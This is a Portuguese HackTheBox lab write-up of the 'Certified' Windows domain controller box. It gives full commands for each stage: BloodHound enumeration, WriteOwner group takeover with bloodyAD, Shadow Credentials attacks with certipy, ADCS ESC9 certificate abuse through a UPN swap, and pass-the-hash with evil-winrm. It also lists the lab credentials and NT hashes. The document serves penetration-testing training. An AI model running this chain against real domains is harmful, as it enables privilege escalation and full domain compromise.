Informações da Box
| Plataforma | HackTheBox |
| Dificuldade | Medium |
| SO | Windows Server (Domain Controller) |
| Técnicas Principais | WriteOwner Abuse, Shadow Credentials, ADCS ESC9, Pass-the-Hash |
Resumo do Caminho de Ataque
Assumed breach com creds da judith.mader. Rodei BloodHound e ele mostrou a chain completa de ACL: judith tinha WriteOwner no grupo Management, então tomamos ownership, demos GenericAll, e entramos no grupo. Isso nos deu GenericWrite no management_svc que usamos pra um ataque de Shadow Credentials e pegar o hash NT. Pegamos shell como management_svc (user flag). Depois management_svc tinha GenericAll no ca_operator, mesmo ataque de shadow creds. Finalmente, ca_operator podia se inscrever num template de certificado vulnerável a ESC9. Trocamos o UPN pra Administrator, solicitamos um cert, restauramos o UPN, autenticamos com ele e pegamos o hash do admin. Pass the hash, pronto.
Essa box é basicamente uma masterclass de ACL abuse com uma cereja ADCS em cima.
Enumeração
# Terminal 1: TCP rápido todas as portas
sudo nmap -Pn -p- --min-rate=1000 -T4 -oN fast_tcp.txt $ip
# Terminal 2: Top 20 UDP
sudo nmap -Pn -sU --top-ports=20 -oN udp_top20.txt $ip
# Terminal 3: Scan direcionado (depois do scan rápido terminar)
ports=$(grep '^[0-9]' fast_tcp.txt | cut -d '/' -f 1 | tr '\n' ',' | sed 's/,$//')
sudo nmap -A -Pn -sC -sV -p $ports -oA targeted $ip
# Portas encontradas: 53,88,135,139,389,445,464,593,636,3268,3269,5985,9389
# Scan de vulns (roda enquanto enumera manualmente)
sudo nmap -sV -p $ports --script "vuln" $ip -oN vuln.txt
Portas padrão de DC. Nada fora do normal, nada web. Essa é uma box AD pura.
| Porta | Serviço | Notas |
|---|---|---|
| 88 | Kerberos | DC01.certified.htb |
| 389/636 | LDAP | Domínio certified.htb |
| 445 | SMB | nada interessante com nossas creds |
| 5985 | WinRM | acesso shell depois |
Setup
echo "10.129.231.186 DC01.certified.htb certified.htb DC01" | sudo tee -a /etc/hosts
sudo ntpdate -u certified.htb
export ip=10.129.231.186
SMB
netexec smb $ip -u 'judith.mader' -p 'judith09' --shares --users --pass-pol
Nenhuma share interessante, nenhuma info suculenta. Assumed breach significa que as creds são o presente, o resto a gente conquista.
BloodHound — Mapeando o Caminho de Ataque
bloodhound-python -u 'judith.mader' -p 'judith09' -ns $ip -d certified.htb -c All
Subi o zip pro BloodHound CE e o caminho saltou na cara:
judith.mader
|-- WriteOwner no grupo Management
|-- Grupo Management tem GenericWrite no management_svc
|-- management_svc tem GenericAll no ca_operator
|-- ca_operator pode se inscrever no template CertifiedAuthentication (ESC9)
Também rodei certipy pra confirmar o ângulo ADCS:
certipy-ad find -vulnerable -u [email protected] -p 'judith09' -dc-ip $ip -stdout
Encontrei o template CertifiedAuthentication. Ele tem CT_FLAG_NO_SECURITY_EXTENSION nos enrollment flags mais Client Authentication EKU. Isso é o combo ESC9.
Foothold — WriteOwner Abuse no Grupo Management
Três comandos. Tomar ownership, dar GenericAll pra si mesmo, se adicionar ao grupo:
bloodyAD -d certified.htb --host $ip -u judith.mader -p 'judith09' set owner 'management' judith.mader
bloodyAD -d certified.htb --host $ip -u judith.mader -p 'judith09' add genericAll 'management' judith.mader
bloodyAD -d certified.htb --host $ip -u judith.mader -p 'judith09' add groupMember 'management' judith.mader

E assim a judith tá no grupo Management. Isso nos dá GenericWrite no management_svc.
Shadow Credentials — management_svc
GenericWrite permite modificar o atributo msDS-KeyCredentialLink, o que significa que a gente pode fazer um ataque de Shadow Credentials. Certipy cuida de tudo num comando só:
certipy-ad shadow auto -username [email protected] -password 'judith09' \
-account management_svc -target certified.htb -dc-ip $ip

Pegou o hash NT do management_svc: a091c1832bcdd4677c28b5a6a1295584
Pegando Shell
evil-winrm -i certified.htb -u management_svc -H a091c1832bcdd4677c28b5a6a1295584
Essa é engraçada. evil-winrm com o endereço IP direto se recusou a conectar. Passei um tempo tentando coisas diferentes, aí tentei apontar pro nome de domínio certified.htb e simplesmente funcionou. Não faço ideia por que essa box faz isso, mas guarda essa.


Tamo dentro. User flag no desktop do management_svc.
Shadow Credentials — ca_operator
BloodHound mostra que management_svc tem GenericAll no ca_operator. Mesmo ataque, alvo diferente.

# Sincronize o relógio primeiro — isso me pegou DE NOVO
sudo ntpdate -u certified.htb
certipy-ad shadow auto -username [email protected] \
-hashes :a091c1832bcdd4677c28b5a6a1295584 \
-account ca_operator -target certified.htb -dc-ip $ip

Hash NT do ca_operator: b4b86f45c6018f1b664f70805f45d8f2
Domain Admin — ADCS ESC9
Essa é a parte divertida. ESC9 explora mapeamento fraco de certificados. Aqui tá por que funciona:
O template CertifiedAuthentication tem CT_FLAG_NO_SECURITY_EXTENSION nos enrollment flags, então a CA NÃO embute o objectSid do solicitante no certificado. O DC tem StrongCertificateBindingEnforcement = 1 (modo compatibilidade) o que significa que quando não tem SID no cert, ele faz fallback pra mapeamento baseado em UPN.
Então o truque é: trocar o UPN do ca_operator pra Administrator, solicitar um cert (nenhum SID é embutido, UPN diz Administrator), restaurar o UPN, depois autenticar. O DC vê o UPN “Administrator” sem nada pra contradizer e simplesmente confia. Bonito e assustador.

Passo 1 — Trocar UPN do ca_operator pra Administrator
Usamos as creds do management_svc porque ele tem GenericAll sobre o ca_operator. Importante: use Administrator sem @dominio pra evitar colisão de UPN com a conta admin real.
certipy-ad account update -username [email protected] \
-hashes :a091c1832bcdd4677c28b5a6a1295584 \
-user ca_operator -upn Administrator -dc-ip $ip
Passo 2 — Solicitar o certificado
certipy-ad req -username [email protected] \
-hashes :b4b86f45c6018f1b664f70805f45d8f2 \
-ca certified-DC01-CA -template CertifiedAuthentication -dc-ip $ip
Isso salva administrator.pfx, um certificado com UPN=Administrator e sem objectSid.
Passo 3 — Restaurar UPN do ca_operator
Faça isso ANTES de autenticar. Se o ca_operator ainda tiver com UPN=Administrator quando autenticar, o DC mapeia o cert de volta pro ca_operator em vez do Administrator real.
certipy-ad account update -username [email protected] \
-hashes :a091c1832bcdd4677c28b5a6a1295584 \
-user ca_operator -upn [email protected] -dc-ip $ip
Passo 4 — Autenticar e pegar hash do Administrator
certipy-ad auth -pfx administrator.pfx -dc-ip $ip -domain certified.htb


E pegamos o hash do admin :D
Shell de Root
evil-winrm -i certified.htb -u Administrator -H 0d5b49608bbce1751f708748f67e2d34

Pwned.
Credenciais
| Usuário | Senha/Hash | Origem |
|---|---|---|
| judith.mader | judith09 | Assumed breach |
| management_svc | a091c1832bcdd4677c28b5a6a1295584 (NTLM) | Shadow Credentials |
| ca_operator | b4b86f45c6018f1b664f70805f45d8f2 (NTLM) | Shadow Credentials |
| Administrator | 0d5b49608bbce1751f708748f67e2d34 (NTLM) | ESC9 cert auth |
O que Aprendi
Shadow Credentials com certipy é estupidamente fácil. certipy-ad shadow auto faz tudo de uma vez — adiciona a key credential, solicita TGT via PKINIT, extrai o hash NT, limpa tudo. GenericWrite ou GenericAll na conta alvo é tudo que precisa.
ESC9 é tudo sobre o truque do UPN. Quando um template tem a flag NO_SECURITY_EXTENSION, o cert não inclui o SID do solicitante. Troque o UPN de um usuário controlado pro alvo, solicite um cert, restaure o UPN antes de autenticar. O DC vê o UPN sem SID pra contradizer e mapeia pra conta real.
A ordem importa no ESC9. TEM que restaurar o UPN antes de autenticar. Se o usuário controlado ainda tiver com o UPN do Administrator quando autenticar, o DC mapeia o cert pra ele, não pro Administrator real. Tive que pensar nisso algumas vezes antes de clicar.
evil-winrm hostname vs IP. Algumas boxes recusam conexão por IP mas aceitam o nome de domínio. Se o evil-winrm travar ou falhar com o IP, tente o hostname. Não faço ideia por que isso acontece mas me custou tempo nessa box.
Sincronização de relógio vai te assombrar pra sempre. Shadow Credentials falhou porque meu relógio tava errado. Kerberos não perdoa diferença de horário. sudo ntpdate -u <dominio> antes de qualquer operação Kerberos. Eu fico reaprendendo essa lição do jeito difícil.
WriteOwner num grupo é uma chain de três passos. Tomar ownership, dar GenericAll (ou WriteMembers) pra si mesmo, depois se adicionar. Mesmo padrão que usei no EscapeTwo. Se ver WriteOwner no BloodHound, isso já devia ser memória muscular.
Padrão: “Chain ACL com ADCS: siga as edges do BloodHound um hop de cada vez, Shadow Credentials pra cada GenericWrite/GenericAll, e cheque certipy pra templates vulneráveis. ESC9 = NO_SECURITY_EXTENSION + troca de UPN.”